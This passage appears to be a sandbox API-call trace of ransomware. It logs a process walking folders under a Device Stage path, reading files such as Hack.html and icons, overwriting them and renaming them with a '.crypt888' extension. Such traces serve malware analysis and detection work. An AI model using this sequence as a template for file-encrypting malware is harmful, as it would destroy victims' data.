lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.084] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0087.084] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0087.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0087.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0087.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0087.084] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2e [0087.084] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\", lpFilePart=0x0) returned 0x2f [0087.085] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x599f28 [0087.085] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0087.085] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0087.085] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0087.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0087.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0087.085] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", lpFilePart=0x0) returned 0x38 [0087.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0087.086] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.086] GetFileType (hFile=0x174) returned 0x1 [0087.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0087.086] GetFileType (hFile=0x174) returned 0x1 [0087.086] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0087.086] ReadFile (in: hFile=0x174, lpBuffer=0x28401ec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x28401ec*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0087.087] CloseHandle (hObject=0x174) returned 1 [0087.133] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", lpFilePart=0x0) returned 0x38 [0087.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0087.133] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.134] GetFileType (hFile=0x174) returned 0x1 [0087.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0087.134] GetFileType (hFile=0x174) returned 0x1 [0087.135] WriteFile (in: hFile=0x174, lpBuffer=0x288e364*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x288e364*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0087.136] CloseHandle (hObject=0x174) returned 1 [0087.136] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html", lpFilePart=0x0) returned 0x38 [0087.136] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html.crypt888", lpFilePart=0x0) returned 0x41 [0087.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0087.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb6f9000, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb6f9000, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc5224a20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0087.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0087.136] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\hack.html.crypt888")) returned 1 [0087.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0087.137] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x55 [0087.137] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpFilePart=0x0) returned 0x56 [0087.137] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a168 [0087.137] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.137] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.138] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.139] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.139] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.139] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0087.139] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0087.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0087.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0087.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0087.139] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x55 [0087.139] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpFilePart=0x0) returned 0x56 [0087.139] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a168 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.140] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0087.141] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0087.141] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0087.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0087.141] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0087.141] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x60 [0087.141] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.142] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.142] GetFileType (hFile=0x174) returned 0x1 [0087.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.142] GetFileType (hFile=0x174) returned 0x1 [0087.142] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xd0a3 [0087.142] ReadFile (in: hFile=0x174, lpBuffer=0x2893dd0, nNumberOfBytesToRead=0xd0a3, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2893dd0*, lpNumberOfBytesRead=0x39ecbc*=0xd0a3, lpOverlapped=0x0) returned 1 [0087.143] CloseHandle (hObject=0x174) returned 1 [0087.162] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico", lpFilePart=0x0) returned 0x60 [0087.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.162] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.164] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.164] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.164] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.164] GetFileType (hFile=0x174) returned 0x1 [0087.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.164] GetFileType (hFile=0x174) returned 0x1 [0087.164] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0087.164] ReadFile (in: hFile=0x174, lpBuffer=0x2723dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2723dd8*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0087.165] CloseHandle (hObject=0x174) returned 1 [0087.200] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.200] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.201] GetFileType (hFile=0x174) returned 0x1 [0087.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0087.201] GetFileType (hFile=0x174) returned 0x1 [0087.201] WriteFile (in: hFile=0x174, lpBuffer=0x27720f8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x27720f8*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0087.202] CloseHandle (hObject=0x174) returned 1 [0087.202] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", lpFilePart=0x0) returned 0x5f [0087.202] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html.crypt888", lpFilePart=0x0) returned 0x68 [0087.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0087.202] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb2102a0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbb2102a0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc52bcfa0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0087.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0087.203] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html.crypt888")) returned 1 [0087.203] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x60 [0087.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.203] GetFileType (hFile=0x174) returned 0x1 [0087.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.204] GetFileType (hFile=0x174) returned 0x1 [0087.204] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x72ee [0087.204] ReadFile (in: hFile=0x174, lpBuffer=0x27734f8, nNumberOfBytesToRead=0x72ee, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27734f8*, lpNumberOfBytesRead=0x39ecbc*=0x72ee, lpOverlapped=0x0) returned 1 [0087.204] CloseHandle (hObject=0x174) returned 1 [0087.220] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico", lpFilePart=0x0) returned 0x60 [0087.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.221] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.222] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x62 [0087.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.222] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.222] GetFileType (hFile=0x174) returned 0x1 [0087.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.222] GetFileType (hFile=0x174) returned 0x1 [0087.222] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x14668 [0087.222] ReadFile (in: hFile=0x174, lpBuffer=0x27ebc60, nNumberOfBytesToRead=0x14668, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x27ebc60*, lpNumberOfBytesRead=0x39ecbc*=0x14668, lpOverlapped=0x0) returned 1 [0087.223] CloseHandle (hObject=0x174) returned 1 [0087.259] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico", lpFilePart=0x0) returned 0x62 [0087.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0087.260] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0087.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0087.261] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml", lpFilePart=0x0) returned 0x62 [0087.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0087.261] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0087.262] GetFileType (hFile=0x174) returned 0x1 [0087.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0087.262] GetFileType (hFile=0x174) returned 0x1 [0087.262] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x536 [0087.262] ReadFile (in: hFile=0x174, lpBuffer=0x288b148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, 